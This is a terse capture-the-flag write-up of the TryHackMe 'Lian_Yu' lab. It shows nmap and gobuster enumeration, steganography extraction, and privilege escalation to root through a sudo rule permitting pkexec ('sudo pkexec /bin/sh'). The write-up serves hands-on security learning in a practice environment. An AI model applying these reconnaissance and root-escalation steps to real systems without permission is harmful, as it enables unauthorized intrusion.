WriteUp — THM Lian_Yu

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nmap -sC -sV -p- 1 ⨯
Starting Nmap 7.80 ( https://nmap.org ) at 2020–10–13 12:51 EEST
Nmap scan report for
Host is up (0.055s latency).
Not shown: 65530 closed ports
21/tcp open ftp vsftpd 3.0.2
22/tcp open ssh OpenSSH 6.7p1 Debian 5+deb8u8 (protocol 2.0)
| ssh-hostkey:
| 1024 56:50:bd:11:ef:d4:ac:56:32:c3:ee:73:3e:de:87:f4 (DSA)
| 2048 39:6f:3a:9c:b6:2d:ad:0c:d8:6d:be:77:13:07:25:d6 (RSA)
| 256 a6:69:96:d7:6d:61:27:96:7e:bb:9f:83:60:1b:52:12 (ECDSA)
|_ 256 3f:43:76:75:a8:5a:a6:cd:33:b0:66:42:04:91:fe:a0 (ED25519)
80/tcp open http Apache httpd
|_http-server-header: Apache
|_http-title: Purgatory
111/tcp open rpcbind 2–4 (RPC #100000)
| rpcinfo:
| program version port/proto service
| 100000 2,3,4 111/tcp rpcbind
| 100000 2,3,4 111/udp rpcbind
| 100000 3,4 111/tcp6 rpcbind
| 100000 3,4 111/udp6 rpcbind
| 100024 1 41886/tcp status
| 100024 1 44506/tcp6 status
| 100024 1 49721/udp status
|_ 100024 1 55595/udp6 status
41886/tcp open status 1 (RPC #100024)
Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 31.11 seconds
gobuster -q -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -u dir
/island (Status: 301)
The Code Word is: </p><h2 style="color:white"> vigilante</h2>
seq -w 0 9999 > numbers.txt
gobuster -q -w numbers.txt -u dir
/2100 (Status: 301)
<!-- you can avail your .ticket here but how?   -->
gobuster -q -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x ticket -u dir
/green_arrow.ticket (Status: 200)
This is just a token to get into Queen's Gambit(Ship)

exiftool Leave_me_alone.png
ExifTool Version Number : 12.07
File Name : Leave_me_alone.png
Directory : .
File Size : 500 kB
File Modification Date/Time : 2020:10:13 14:39:01+03:00
File Access Date/Time : 2020:10:13 14:39:30+03:00
File Inode Change Date/Time : 2020:10:13 14:39:01+03:00
File Permissions : rw-r — r —
Error : File format error
steghide extract -sf aa.jpg 
Enter passphrase:
wrote extracted data to “ss.zip”.
cat .Important 
What are you Looking for ?
root Privileges ?try to find Secret_Mission
find / -iname “*Secret_Mission” 2>/dev/null
sudo -l
[sudo] password for slade:
Matching Defaults entries for slade on LianYu:
env_reset, mail_badpass,
User slade may run the following commands on LianYu:
(root) PASSWD: /usr/bin/pkexec
sudo pkexec /bin/sh
# whoami




CTO by day, learning cybersecurity by night.

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Jari Laurila

Jari Laurila

CTO by day, learning cybersecurity by night.

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